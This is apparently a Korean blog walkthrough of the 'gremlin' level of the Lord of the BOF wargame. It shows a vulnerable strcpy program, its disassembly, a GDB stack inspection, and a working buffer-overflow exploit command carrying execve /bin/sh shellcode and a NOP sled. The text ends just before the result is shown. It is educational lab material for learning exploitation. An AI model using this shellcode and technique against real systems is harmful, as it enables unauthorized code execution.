scent2d 2019. 1. 10. 13:38

→ 소스코드는 아래와 같다.


1 /*

      2         The Lord of the BOF : The Fellowship of the BOF

      3         - gremlin

      4         - simple BOF

      5 */

      6

      7 int main(int argc, char *argv[])

      8 {

      9     char buffer[256];

     10     if(argc < 2){

     11         printf("argv error\n");

     12         exit(0);

     13     }

     14     strcpy(buffer, argv[1]);

     15     printf("%s\n", buffer);

     16 }


→ 어셈블리 코드는 아래와 같다.


0x8048430

0x8048431

0x8048433

0x8048439

0x804843d

0x804843f

0x8048444

0x8048449

0x804844c

0x804844e

0x8048453

0x8048456

0x8048459

0x804845c

0x804845e

0x804845f

0x8048465

0x8048466

0x804846b

0x804846e

0x8048474

0x8048475

0x804847a

0x804847f

0x8048482

0x8048483

<main>

<main+1>

<main+3>

<main+9>

<main+13>

<main+15>

<main+20>

<main+25>

<main+28>

<main+30>

<main+35>

<main+38>

<main+41>

<main+44>

<main+46>

<main+47>

<main+53>

<main+54>

<main+59>

<main+62>

<main+68>

<main+69>

<main+74>

<main+79>

<main+82>

<main+83>

push   %ebp                   

mov    %ebp,%esp              

sub    %esp,0x100             

cmp    DWORD PTR [%ebp+8],1   

jg     0x8048456 <main+38>    

push   0x80484e0              

call   0x8048350 <printf>     

add    %esp,4                 

push   0                      

call   0x8048360 <exit>       

add    %esp,4                 

mov    %eax,DWORD PTR [%ebp+12]

add    %eax,4                  

mov    %edx,DWORD PTR [%eax]  

push   %edx                   

lea    %eax,[%ebp-256]        

push   %eax                   

call   0x8048370 <strcpy>     

add    %esp,8                 

lea    %eax,[%ebp-256]        

push   %eax                   

push   0x80484ec              

call   0x8048350 <printf>     

add    %esp,8                 

leave                         

ret


→ 어셈블리 코드를 살펴보면 main+54 위치의 strcpy 함수가 존재한다. strcpy 함수가 실행된 후 스택의 구조는 아래와 같다.



char *strcpy(char *strDestination, const char *strSource);

(strDestination : 대상 문자열 , strSource : Null 종료 소스 문자열)

: strcpy 함수는 null 종료 문자를 포함하여 strSourcestrDestination에 지정된 위치로 복사합니다.

: strcpystrSource를 복사하기 전에 strDestination의 공간이 충분한지 확인하지 않으므로 버퍼 오버플로우 의 원인이 된다.


→ 메인함수 RET에 도달하기 위한 바이트 사이즈를 구하면 BUFFER(256바이트)+SFP(4바이트)이므로 총 260바이트이다. 즉, BUFFER 변수에 메모리가 쓰일 때 쉘 코드와 NOP로 채우고 RET 주소에 NOP 주소를 넣으면 쉘 코드를 실행할 수 있다. 해당 예제에선 구글에 검색되는 24바이트 크기의 쉘 코드를 사용했다.


"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


→ 실제 스택의 주소를 찾기 위해 GDB를 실행 후, 다음과 같이 확인한다. 진행 결과 0xbffff8f8 ~ 0xbffff9f7쌓인 값이 BUFFER의 256바이트, 0xbffff9f8 ~ 0xbfffffb 쌓인 값이 SFP의 4바이트, 0xbffff9fc ~ 0xbffff9ff 쌓인 값이 RET의 4바이트이다.


[gate@localhost temp]$ gdb -q gremlin                   // gdbgremlin 실행

(gdb) set disassembly-flavor intel                        // 인텔계열 명령어 보기 설정

(gdb) disas main                                        // 메인함수 디스어셈블

Dump of assembler code for function main:

0x8048430 <main>:            push   %ebp

0x8048431 <main+1>:         mov    %ebp,%esp

0x8048433 <main+3>:         sub    %esp,0x100

0x8048439 <main+9>:         cmp    DWORD PTR [%ebp+8],1

0x804843d <main+13>:       jg     0x8048456 <main+38>

0x804843f <main+15>:        push   0x80484e0

0x8048444 <main+20>:       call   0x8048350 <printf>

0x8048449 <main+25>:       add    %esp,4

0x804844c <main+28>:       push   0

0x804844e <main+30>:       call   0x8048360 <exit>

0x8048453 <main+35>:       add    %esp,4

0x8048456 <main+38>:       mov    %eax,DWORD PTR [%ebp+12]

0x8048459 <main+41>:       add    %eax,4

0x804845c <main+44>:       mov    %edx,DWORD PTR [%eax]

0x804845e <main+46>:       push   %edx

0x804845f <main+47>:        lea    %eax,[%ebp-256]

0x8048465 <main+53>:       push   %eax

0x8048466 <main+54>:       call   0x8048370 <strcpy>

0x804846b <main+59>:       add    %esp,8

0x804846e <main+62>:       lea    %eax,[%ebp-256]

0x8048474 <main+68>:       push   %eax

0x8048475 <main+69>:       push   0x80484ec

0x804847a <main+74>:       call   0x8048350 <printf>

0x804847f <main+79>:        add    %esp,8

0x8048482 <main+82>:       leave 

0x8048483 <main+83>:       ret   

0x8048484 <main+84>:       nop   

0x8048485 <main+85>:       nop   

0x8048486 <main+86>:       nop   

0x8048487 <main+87>:       nop   

0x8048488 <main+88>:       nop   

0x8048489 <main+89>:       nop   

0x804848a <main+90>:       nop   

0x804848b <main+91>:       nop   

0x804848c <main+92>:       nop   

0x804848d <main+93>:       nop   

0x804848e <main+94>:       nop   

0x804848f <main+95>:        nop   

End of assembler dump.

(gdb) b *main+62                                             // main+62 주소에 브레이크포인트 설정

Breakpoint 1 at 0x804846e

(gdb) r $(python -c 'print "A"*256+"BBBB"+"CCCC"')           // CCCC가 채워진 곳이 RET 자리

Starting program: /home/gate/temp/gremlin $(python -c 'print "A"*256+"BBBB"+"CCCC"')

 

Breakpoint 1, 0x804846e in main ()

(gdb) x/80wx $esp                                            // esp로부터 80바이트 보기

0xbffff8f8:             0x41414141         0x41414141         0x41414141         0x41414141

0xbffff908:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff918:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff928:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff938:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff948:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff958:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff968:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff978:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff988:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff998:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff9a8:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff9b8:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff9c8:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff9d8:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff9e8:            0x41414141         0x41414141         0x41414141         0x41414141

0xbffff9f8:             0x42424242         0x43434343         0x00000000          0xbffffa44

0xbffffa08:            0xbffffa50             0x40013868          0x00000002          0x08048380

0xbffffa18:            0x00000000          0x080483a1          0x08048430          0x00000002

0xbffffa28:            0xbffffa44             0x080482e0          0x080484bc          0x4000ae60

(gdb)



→ 다음과 같은 공격 페이로드를 구성할 수 있다.


python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*136+"\xf8\xf8\xff\xbf"'



반환 주소를 BUFFER 변수 가장 처음 NOP 주소인 0xbffff8f8로 지정해서 NOP를 타고 쉘 코드가 실행되도록 페이로드를 구성한다.


→ 구성한 페이로드를 바탕으로 다음과 같이 공격한다.


./gremlin $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*136+"\xf8\xf8\xff\xbf"')



→ 결과는 아래와 같다.